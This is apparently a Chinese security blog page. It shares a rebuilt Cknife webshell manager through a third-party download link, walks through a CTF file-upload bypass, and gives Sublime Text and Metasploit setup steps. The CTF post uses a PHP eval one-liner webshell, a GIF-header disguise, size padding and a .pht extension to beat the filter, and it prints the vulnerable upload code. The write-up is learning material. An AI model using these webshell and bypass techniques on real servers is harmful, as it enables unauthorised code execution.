网站SHELL管理工具C刀自编译版本分享

前言:
C刀是一个开源的WEB SHELL管理软件,使用Java开发,使用JAR包的方式进行分发,但是其提供的下载链接为百度网盘的,由于众所周知的原因,这个东东被和谐了或者取消分享了。所以我自己下载了他的源代码编译了一份,个人保证未添加任何后门,欢迎同行逆向分析,100%原源代码打包,未做任何修改。
项目源地址:
https://github.com/aStrowxyu/Cknife
自编译文件下载地址:
https://2up.ooo/file/get/646/Cknife.jar

记一次CTF中文件上传绕过的过程

某个夜黑逢高的夜晚,同事神神秘秘的和我说,有一道文件上传的题目,让我来做一下,于是我祭出我珍藏多年的Burpsuite和火狐浏览器。
打开网页之后只有一个简单的上传框,没有其他任何提示,按照惯例首先查看网站源代码,得到源代码如下:

</head>
<body alink="gold" bgcolor="#E8E8E8">
<div style="LEFT: 45%; MARGIN: -170px 0px 0px -370px; WIDTH: 780px; POSITION: absolute; TOP: 40%; HEIGHT: 380px">
<center>
  <table style="WIDTH: 600px" TOP=100% borderColor=#0000cc cellSpacing=0 cellPadding=1 width=1500 align=center bgColor=#000000 border=1>
    <tr>
      <td>
                <center><img src=1.gif></img></center>
      </td>
    </tr>
</table>

<form action="upload.php" method="post" enctype="multipart/form-data">
<center><label for="file"><font size="5" color="black" face="锟斤拷锟斤拷">Filename:</font></label>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" /></center>
</form>
</body>
</html>

通过源代码也看到只有一个上传框,没有任何其他提示,拿起Burp就是一梭子,赢了会所嫩模,输了下海干活。首先准备一个最简单的一句话木马,文件名为test.php,内容如下<?php eval($_POST[pass]);?>先直接上传试试,根据提示再进行下一步。
看到服务器返回的是请检查上传文件类型,只允许jpg,jpeg,gif格式,请不要尝试进行攻击!,如下图所示:
burp
看到允许的上传文件类型,我们可以使用图片马,这里没有使用图片马,具体原因可以看下面的说明。这里我们构造一个假图片,先上传上去,再进行绕过啥的,这里我构造的文件名为test.gif,内容为

GIF
<?php eval($_POST[pass]);?>

然后再进行上传测试,服务器返回的结果是:请检查上传文件大小,上传文件在20kb-100kb,请不要尝试进行攻击!,我们已经成功绕过第一层的防护了,如下图所示:
绕过第一层
下面我们来绕过文件大小的限制,这就是上一步不用图片马的原因,图片马包含大量的二进制数据,看起来非常的不直观,所有这里我们使用大量无意义的文本来填充数据包,直到满足要求,最后的数据包如下如所示:
绕过文件大小限制
可以看到,我们的文件已经上传成功了,我们先访问一下这个文件,看看文件内容有没有缺少,通过curl发现虽然图片已经上传成功了,但是<? php eval已经被过滤了,而且我现在上传的只是一张图片,并不能被解析。服务器上这个文件的内容如下图所示:
关键字被过滤
下面还有两个步骤要做:
1.让文件可以被解析
思路:解析漏洞、后缀绕过等等
2.文件内容绕过
使用不包含<? php的文件标记
首先来绕过文件内容过滤,只有绕过了文件内容的过滤,才能判断你的文件有没有被解析,经过Google搜索,发现之前的一个大牛的文章,可以使用 来绕过<?php的限制,并且由于后端过滤了php,这里我们可以使用Php来绕过限制,为了方便 测试,我们先将上传的文件后缀改为txt,构造相关数据包如下所示:
绕过文件内容过滤
通过大佬的指导,发现pht这个后缀也是可以被解析的遂最终构造的数据包如下所示:
最终数据包
tips:
由于过滤了php,假设flag在flag_test.php,直接使用cat命令是是行不通的,可以使用通配符例如cat ../*,这样就可以查看某个目录下的全部文件了。
最后附上读取到的源代码:

<?php
header("Content-Type: text/html;charset=utf-8");
$file_size=$_FILES['file']['size'];
//获取文件大小
$file_name=$_FILES['file']['name'];
//获取文件名字
$file_ext = substr($file_name, strrpos($file_name, '.') + 1);
//获取文件后缀
$file_mime=$_FILES['file']['type'];
//获取文件的mime类型
$file_tmp =$_FILES['file']['tmp_name'];
//获取存储在服务器的文件的临时副本的名称
$tempfile = @fopen($file_tmp, "rb");
$bin = fread($tempfile, 2); //只读2字节
fclose($tempfile);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'] . $strInfo['chars2']);
$fileType = '';
switch ($typeCode){ // 6677:bmp 255216:jpg 7173:gif 13780:png 7790:exe 8297:rar 8075:zip tar:109121 7z:55122 gz 31139
    case '255216':
        $fileType = 'jpg';
        break;
    case '7173':
        $fileType = 'gif';
        break;
    case '13780':
        $fileType = 'png';
        break;
    default:
        $fileType = 'unknown';
}
/*
读取文件头部信息,判断文件的类型
*/
$filetype1 = array("php", "asp","php2","php4","aspx","html","htm","php3","php5","phtml","pwml","inc","ascx","jsp","cfm","cfc","pl","bat","exe","com","dll","vbs","js","reg","cgi","asis","sh","shtml","shtm","phtm","asa","cer");
$filetype2 = array("jpg","png","gif");
//定义文件的黑名单表单
if (($file_mime == "image/gif") || ($file_mime == "image/jpeg") || ($file_mime == "image/pjpeg"))
    {
        if(in_array($file_ext,$filetype1,TRUE))
    {
        echo "请检查上传文件,上传文件不符合要求,请不要尝试进行攻击!";
        exit();
        //判断文件后缀是否符合要求
    }
elseif ($fileType == 'unknown')
    {
            echo "请检查上传文件,上传文件不符合要求,请不要尝试进行攻击!";
            exit();
            //判断文件头部是否符合要求
    }
else{

        #if($file_size>=1024*100&&$file_size<=1024*100)
        #echo $file_mime;
        if (($file_size < 1024*20) || ($file_size > 1024*100))
        {
            echo "请检查上传文件大小,上传文件在20kb-100kb,请不要尝试进行攻击!";
            exit();
            //判断文件大小
        }
        else

        {

            if (file_exists($file_tmp))
            {
                $str = file_get_contents($file_tmp);//将整个文件内容读入到一个字符串中
                #$str = str_replace("\r\n","<br />",$str);
                $str = str_replace("eval","",$str);
                $str = str_replace("<?","",$str);
                $str = str_replace("php","",$str);
                //替换危险字符
                $myfile = fopen($file_tmp, "w") or die("Unable to open file!");
                fwrite($myfile, $str);
                fclose($myfile);
                //将替换完成的文件写入文件
                $path="upload/".time().$file_name;
                echo $path;
                if(move_uploaded_file($file_tmp,$path))
                    {
                        echo "<br />upload success!<br />";;
                   }
                else
                    echo"文件上传出错!";

            }


        }
    }
    }
    else
    {
        echo "请检查上传文件类型,只允许jpg,jpeg,gif格式,请不要尝试进行攻击!";
        exit();
    }

Sublime Text 3配置中文

警告,本文章最后测试时间为2019年3月20日,不保证以后也能使用,不随官网更新而更新,最新的安装方法请以官网为准。官网连接:https://packagecontrol.io/installation,这里仅介绍windows平台,Linux和Macos不做介绍.
在不使用代理访问 https://packagecontrol.io/installation 通畅的情况下,按ctrl+`打开控制台,然后输入以下代码并回车:

import urllib.request,os,hashlib; h = '6f4c264a24d933ce70df5dedcf1dcaee' + 'ebe013ee18cced0ef93d5f746d80ef60'; pf = 'Package Control.sublime-package'; ipp = sublime.installed_packages_path(); urllib.request.install_opener( urllib.request.build_opener( urllib.request.ProxyHandler()) ); by = urllib.request.urlopen( 'http://packagecontrol.io/' + pf.replace(' ', '%20')).read(); dh = hashlib.sha256(by).hexdigest(); print('Error validating download (got %s instead of %s), please try manual install' % (dh, h)) if dh != h else open(os.path.join( ipp, pf), 'wb' ).write(by)

等待安装完成之后,按照以下步骤操作:
preferences->package control->搜索框输入install->选择install package并回车->查找chinese->选择ChineseLocalization插件
如果网络不好可以参考方法以下配置:
下载文件
点击SublimeText的菜单:Preferences > Browse Packages进入文件目录,退到上层目录,进入Installed Packages目录下,把下载的文件复制到此目录中
重启SublimeText,确认Preferences菜单下有Package Control子菜单
配置ss or ssr代理:
Preference -> Package Setting -> Package Control -> Setting-User添加以下设置

"http_proxy": "socks5://127.0.0.1:1080",
"https_proxy": "socks5://127.0.0.1:1080",

配置完成之后如如图所示
配置截图

centos 7 下metasploit安装以及配置数据库

网上的文章都很老了,很多方法都失效了,这里记录下我在Centos 7 下安装metasploit的过程
安装metasploit
使用脚本进行安装,具体命令如下

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

网络没问题的话会自动安装,会安装在/opt/metasploit-framework/目录下
配置Postgresql 数据库
由于postgresql 12还在测试中,所以这里选择了11的版本。
第一步:下载并安装yum源

wget https://download.postgresql.org/pub/repos/yum/11/redhat/rhel-7-x86_64/pgdg-redhat11-11-2.noarch.rpm
rpm -ivh pgdg-redhat11-11-2.noarch.rpm

第二步:安装数据库并创建用户
安装数据库以及相关服务

yum install postgresql11 postgresql11-server postgresql11-devel

初始化数据库

/usr/pgsql-11/bin/postgresql-11-setup initdb

启动数据库并配置为开机自启

systemctl start postgresql-11
systemctl enable postgresql-11

切换到postgres用户做数据库的配置

sudo -u postgres psql

创建用户和数据库并授权

create user msf_test with password 'youpass' nocreatedb;
create database msf1 with owner ='msf_test';
\q

修改数据库配置

vim /var/lib/pgsql/11/data/pg_hba.conf

修改源文件部分为

# "local" is for Unix domain socket connections only
local   all             all                                     md5
# IPv4 local connections:
host    all             all             127.0.0.1/32            md5
# IPv6 local connections:
host    all             all             ::1/128                 md5

重启数据库使配置生效

systemctl restart postgresql-11

创建metasploit数据配置信息

vim /opt/metasploit-framework/database.yml

写入以下内容:

production:
 adapter: postgresql
 database: msf1
 username: msf_test
 password: youpass
 host: 127.0.0.1
 port: 5432
 pool: 75
 timeout: 5

使配置生效

echo export MSF_DATABASE_CONFIG=/opt/metasploit-framework/database.yml >> /etc/bashrc
source ~/.bashrc

启动控制台

msf启动